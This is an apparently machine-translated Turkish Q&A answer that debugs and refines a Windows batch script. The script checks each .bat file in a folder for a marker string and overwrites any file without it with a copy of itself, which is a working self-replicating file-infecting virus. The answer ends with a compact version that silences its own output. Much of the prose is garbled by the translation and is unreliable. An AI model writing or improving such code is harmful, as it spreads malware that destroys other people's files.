Önce aşağıdaki komutu yürütmüyor, kendi altyordamı normal kodundan sonra çalışmaz emin olmak gerekir çalıştırır:
rem code that calls the subroutine
goto :eof
:subroutine
rem ...
Bu noktaya gelmeden önce çıkmanız gerekiyor.
Sonra aslında neler olduğunu gayet açık: Sen değişken %A%
için aşağıdaki değeri atamak: Aşağıdaki findstr
çağrısında takıldığında kodunuzu orada çalışır çünkü
somefilename.bat call :subroutine %%f
hangi, neden olacaktır Aşağıdakiler, ilk argümandan sonraki her şeyin bir dosya adı olarak yorumlanacağı yerlerde
findstr windowsisajoke somefilename.bat call :subroutine somefilename.bat
. Görebildiğin gibi, gerçekten istediğin bu değil.
Döngüsünüzde herhangi bir değişken belirlemeniz gerekmez, sadece dosya adını argüman olarak iletebilirsiniz. Dahası, altruinlerde argümanlar toplu dosyalara argümanlar aynı şekilde ele alınır: Bir sabitleme cüretini
for %%f in (*.bat) do call :subroutine "%%f"
goto :eof
:subroutine
findstr windowsisajoke %1
if %errorlevel%==0 goto :eof
copy "%0" "%1"
: %1
, %2
...
Böylece kod aşağıdaki gibi bir şey olur Dosya adlarında boşluklarla şeyleri kıracak birkaç hata. Ayrıca, dosyanın sonunda bir etiket bulundurmaya gerek yoktur, çünkü goto :eof
böyle bir etiket olmadan bile geçerlidir. Yine de, hala bir sorun var, çünkü geçerli toplu iş dosyasını (%0
) döngü içinde şu anda kopyalamaya çalıştınız çünkü buradaki alt yordamda çalışamaz çünkü %0
, :subroutine
. Bu nedenle siz de bir alt programa toplu dosya adı geçmesi gerekiyor: Eğer bir değişken set çünkü hiçbir zaman
for %%f in (*.bat) do call :subroutine "%%f" %0
goto :eof
:subroutine
findstr windowsisajoke %1
if %errorlevel%==0 goto :eof
copy "%2" "%1"
gecikmiş genişlemesi için artık ayrıca gerek yoktur.Hatta
for %%f in (*.bat) do (
findstr windowsisajoke "%%f"
if not %errorlevel%==0 copy "%0" "%%f"
)
ya: Şimdi
, ayrıca bir alt rutin olmadan tüm yapabilirsiniz
for %%f in (*.bat) do (
findstr windowsisajoke "%%f" || copy "%0" ""%%f""
)
ve çıkış beğenmezseniz, sadece bunu yönlendirebilir:
for %%f in (*.bat) do (
findstr windowsisajoke "%%f" || copy "%0" ""%%f""
) >nul 2>&1
(ilk) kodunuzda aşağıdaki sorunlar var: 1. iki komutu birleştiriyorsunuz, bu yüzden '&', 'set 'gibi bir set kullanmalısınız' A = %% f '& call: subr %% f'nin dışında; aksi halde (literal) dize '%% f çağrısı atarsınız: subroutine %% f'' A' değişkenine; 'set' ifadesinin etrafındaki alıntılar, sondaki boşlukları eklemeyi engeller; 2. altprogram çağrısı için bir argüman sağlarsınız, bu yüzden '% 1' ile, ya da daha iyisi ile "% ~ 1" ile erişmeniz gerekir; 3. arama dizesini '' '' '' '' windowsisajoke ''' '' '' '' '' '' '' a getirin; 4. tüm 'if' ifadesi tek bir satırda olmalıdır, eğer'% ErrorLevel% EQU 0 goto: end' ise… – aschipfl